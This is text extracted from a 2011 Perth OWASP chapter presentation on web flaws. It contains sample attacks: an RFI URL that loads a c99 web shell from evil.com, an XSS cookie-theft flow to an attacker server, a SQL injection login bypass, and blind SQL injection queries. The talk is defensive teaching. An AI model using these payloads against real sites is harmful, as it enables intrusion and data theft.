anztb sigist may 2011 perth owasp how minor ... minor vulnerabilities can do very... · perth owasp...

ANZTB SIGIST May 2011Perth OWASPHow minor vulnerabilities can do ‘‘‘‘very bad things’’’’ ™

Christian Frichot / David Taylor(Some of) Perth OWASP’’’’s Chapter Leads

Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

OWASP

http://www.owasp.org

Wednesday 25th May 2011

(Some of) Perth OWASP’’’’s Chapter Leads

Introductions

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OWASP

OWASP

Why we think this is important.

Impact Crater

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*bored cat

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*scared cat is scared

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Overview

�Overview of the evening

�From XSS to total session compromise

�Would you like some BeEF with your XSS?

�Remote File Include, an attackers best friend.

�When RFI met Metasploit

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�When RFI met Metasploit

�Useful SQL Injection

A Brief History Of…

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Cross Site Scripting (XSS)

"XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute script in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.“

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malicious sites.“

What does this mean?

�Attackers can execute scripts within a users browser.

�This may lead to defacement, session hijacking, browser redirection or even the installation of malware.

Reflective XSS

Vulnerable App

Authenticated

User

Hi Joe,

We’ve noticed you

haven’t updated your

phone number Click

2. XSS script forces

Browser to submit

document.cookie

to Evil Server

OWASP 10Attacker

1.

phone number. Click

here to proceed.

Thanks.

Evil Server

3. document.cookie

4. Collect cookies

Stored XSS

Vulnerable App

Attacker

Authenticated

User

1. Post comment on blog

Including XSS 2. Visits blog

okie

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Attacker

Evil Server

3. document.cookie4. Collect cookies

Injection

"Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or access unauthorised data.“

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or access unauthorised data.“

What does this mean?

�Injection can result in data loss or corruption, lack of accountability, or denial of access.

�In worst case scenarios it can lead to complete host takeover. 12

Setting the scene

�Your developers create a Secure Cloud Open Access Tool™

�Secure portal for exchanging files with customers.

�Your company, Acme, take their information

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�Your company, Acme, take their information very seriously, as most of their intellectual property is contained within.

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Conclusions from Session Compromise

�According to the OWASP Top 10 of 2010, XSS is the most prevalent web application security flaw.

�The Web Hacking Incident Database (WHID) lists XSS as the 3rd top attack method.[1]

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lists XSS as the 3 top attack method.[1]

�Detecting XSS is easy.

�Open Source: w3af, rat, XSSscan.py, XSSFuzz etc

�Mixed Source: Burp! (If you buy one piece of software, buy this)

�Bling ($$) Source: IBM AppScan, HP WebInspect, NTOSpider

15[1] http://www.xiom.com/whid

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Session

Compromise

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BrowserExploitationFramework

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FrameworkPhoto of meat removed to reduce file size.

(insert demo here)

OWASP

(insert demo here)

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Conclusions from BeEF injection ;)

�Why do things manually, when you can do them automagically?

�The web browser IS the operating system.

�Clearly demonstrates how a fairly trivial vulnerability can explode into something larger…

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vulnerability can explode into something larger…

(insert break here)

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(insert break here)

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OWASP*Planet's cheapest car, the Nano.

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OWASP*This is a Bentley Coupe != planet’s cheapest car

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But how does an attacker deface a website?

�RFI or Remote File Inclusion

�Was in OWASP’s Top 10 in 2007

�Used to be highly prevalent in PHP until the default configuration was changed

�Exploits the require or include functions, eg:

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�Exploits the require or include functions, eg:

�Include $_GET[‘option’]

http://www.acme.com/scoat.php?language=http://evil.com/c99.txt

(insert scariness here)

OWASP

(insert scariness here)

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Conclusions

�The web is a great channel for exploiting PCs

�Google’s research back in 2007 highlighted:

�“One in 10 web pages contained malicious code”

�F-secure 2010:

�“Adobe Reader files were exploited in almost 49% of

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�“Adobe Reader files were exploited in almost 49% of targeted attacks in 2009”

�Keep your applications up to date!

SQL Injection

�The login page of the application is vulnerable to SQL Injection:

SELECT $id FROM dt_users WHERE user=‘$user’ AND pass=‘$pass’

�What happens if we make the username:

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�What happens if we make the username:

jdoe’ AND 1=1 --

�The SQL becomes…

SELECT $id FROM dt_users WHERE user=‘jdoe’ AND 1=1 – ‘ AND pass=‘$pass’

Blind SQL Injection

�So, we can log into the app without a password - pretty cool.

�But what if we want to mess with the database some more?

�The SQL Injection is “blind” because none of the

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�The SQL Injection is “blind” because none of the results from the SELECT are echoed to the browser.

Taking Over The World, 1 Bit At A Time

�Essentially we can get 1 bit of data from the database at a time:

�If the trailing condition evaluates to TRUE, the application gets logged in.

�If the trailing condition evaluates to FALSE you get

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�If the trailing condition evaluates to FALSE you get the password error message.

�For example:

�SELECT $id FROM dt_users WHERE user=‘jdoe’ AND 1<2 – TRUE

�SELECT $id FROM dt_users WHERE user=‘jdoe’ AND 1>2 – FALSE

Lets take a short detour… Binary Search

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OWASP

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Detour: Binary Search

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�Example: Searching for an ASCII character

� Is character < ASCII code 128? Yes

� Is character < ASCII code 64? No



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�Character is ASCII 89! (‘X’)


�Each step in a binary search requires 1 bit of information.

�We have a SQL Injection bug that reveals 1 bit of information at a time.

�“Binary search, meet Blind SQL Injection. Blind

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�“Binary search, meet Blind SQL Injection. Blind SQL Injection, this is Binary Search.”

Blind SQL Injection

�Setting it up…

SELECT version()CAST((SELECT version()) AS CHAR(4000))SUBSTRING(CAST((SELECT version()) AS

CHAR(4000)),1,1)

SELECT ASCII(SUBSTRING(CAST((SELECT version()) AS

CHAR(4000)),1,1))

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Blind SQL Injection

�Putting it into action…

SELECT … WHERE user=‘jdoe’ AND 128>(SELECT

ASCII(SUBSTRING(CAST((SELECT version()) AS

CHAR(4000)),1,1)))



CHAR(4000)),1,1)))



CHAR(4000)),1,1)))

And so on… And so on… And so on… And THEN…

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And so on… And so on… And so on… And THEN…



CHAR(4000)),2,1)))

And so on… And so on… And so on… And so on…

Blind SQL Injection

Luckily there are tools to do this for us.

(insert pwnage here)

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Conclusions (BSQLi)

�Tiny little blind SQL injection bugs can (eventually) leak your entire database

�BSQLi bugs are pretty hard to find (unless you’ve got the source code)

�Even after you’ve found them, they are

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�Even after you’ve found them, they are reasonably difficult (and noisy) to exploit

�Validate inputs and use parameterised queries

No tools were harmed in the making of this presentation…

�BeEF

(http://www.bindshell.net/tools/beef/)

�Metasploit Framework

(http://www.metasploit.com/)

�SQLMap

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�SQLMap

(http://sqlmap.sourceforge.net/)

�SQL Power Injector *not demonstrated

(http://www.sqlpowerinjector.com/)

�Burp Suite Professional

(http://portswigger.net/burp/)

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OWASP Enterprise Security API (ESAPI)

�Don’t write your own security controls!

�Reinventing the wheel when it comes to developing security controls for every web application or web service leads to wasted time and massive security holes

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and massive security holes

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ESAPI – not just about preventing XSS/SQLi

�Authentication

�Access Control

�Input Validation

�Output encoding/escaping

Cryptography

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�Cryptography

�Error handling and logging

�Communication security

�HTTP security

�Security configuration

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OWASP’s Development Guide

�Allow businesses, developers, designers and solution architects to produce secure web applications

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Wrapping it up

�Relatively innocuous bugs can be leveraged to do bad things (to the client or the server)

�Weaponised exploitation frameworks and tools currently exist

�Secure coding practices and security

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�Secure coding practices and security assessments to minimise exposure

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